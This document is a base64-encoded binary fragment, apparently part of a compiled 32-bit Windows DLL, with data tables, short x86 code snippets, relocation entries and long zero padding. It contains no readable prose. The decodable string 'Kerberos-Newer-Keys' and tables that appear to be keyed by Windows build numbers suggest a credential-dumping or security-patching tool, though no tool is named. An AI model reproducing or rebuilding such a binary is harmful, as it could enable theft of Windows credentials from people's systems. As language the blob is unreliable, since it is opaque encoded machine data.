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M1iDWfNcI1zzXbNeM16zX3NQk2FjYeNoM21jbkNhQ3LjcBOPc4/ziyOZQ6LTszO9U72zvrO4s8ojxFPTs+Qz72Ptg/AHABAHAAAABxMHcwGTEfMS8xzzHmMRYy5DNLNNk28DY7Oj86QzpHOks6TzpTOlc6WzpfOmM6Zzp0OuY64TvyOw48TTxkPG88vjzZPO48AT0mPWI9fj2ZPdg9ID4uPmY+nT64Ptc+6j73PqQ/uz8AAACAAQAYAAAADjAcMFUwbzDOMNQw2jDgMACQAQCIAgAA6DMoNCw0cDV0NXg1gDWINYw1kDWUNcg3zDfQN9Q33DfgN+Q3MDg0ODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIA4hDiIOIw4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OPQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjg6VDpYOlw6YDpkOmg6bDpwOnw6gDqEOpg6sDrIOuA65Dr4Ovw6EDsUOxg7HDsgOyQ7KDssOzA7NDs4Ozw7QDtEO1A7XDtgO2Q7aDtsO3A7dDt4O3w7gDuEO4g7jDuQO5w7qDusO7A7tDu4O7w7wDvEO8g7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8MDw8PEA8TDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPOw88Dz0PPg8/DwAPQQ9CD0MPRA9HD0oPSw9MD00PTg9RD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9hD2QPZQ9mD2cPaA9pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA92D3cPeQ96D3wPfQ9AD4EPgg+DD4QPhQ+GD4cPiA+JD4oPiw+MD40Pjg+PD5APkw+4D7oPuw+8D74Pvw+CD8MPxg/HD8oPyw/MD84Pzw/QD9IP0w/UD9YP1w/aD9sP3g/fD+IP4w/mD+cP6g/rD+4P7w/yD/MP9A/2D/cP+A/6D/sP/g//D8AAACgAQAQAQAACDAMMBAwFDAYMBwwIDAkMCgwLDA4MEgwTDBQMFQwWDBcMGAwZDBoMGwwcDB0MHgwfDCAMIQwiDCMMJAwlDCgMKQwqDCwMLgwwDDIMNAw2DDgMOgw8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFIMUwxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI8MkAyRDJIMkwyUDJUMlgyXDJgMmQyaDJsMnAydDJ4MnwygDKEMogyjDKQMpQymDKcMqAypDKoMrAytDK4MgAAAJACADAAAACQOpg6nDqkOqg6sDq0Orw6wDrIOsw61DrYOuA65DrsOvA6DDsQOwAAAMACANQAAAAQMBQwMDAwMzQzPDOIM8QzADQ8NHg0rDSwNLg08DQsNWg1nDWgNag12DUMNhA2GDY4Njw2RDZ0Nqg2rDa0NgA3PDd4N7Q38DcsOGg4nDigOKQ4qDi0OPA4LDloOZw5qDnIOcw51DkgOlw6mDrUOhA7TDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7yDsEPEA8fDywPLQ8ED0YPUw9VD2IPZA9xD3MPVA+WD6MPpQ+yD7QPgQ/DD84Pzw/QD9EP0g/TD9QP4g/xD8A0AIAzAAAAAAwSDBQMHwwgDCEMIgwjDCQMJQwmDDgMBwxWDGUMcgx9DH4MfwxADIEMggyIDIoMlwyZDKYMqAy1DLcMggzDDMQMxQzGDMcMyAzJDMoM5AzmDPMM9QzCDQQNEQ0TDSANIg0vDTENCg1MDVkNWw1oDWoNeA1HDZYNrA2uDbsNvQ2KDcwN2A3jDeQN5Q3mDecN6A3pDeoN6w3sDe0N7g3vDfAN8Q3yDfMN9A31DfYN9w34DfkN+g37DfwN/Q3+Df8NwA4BDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA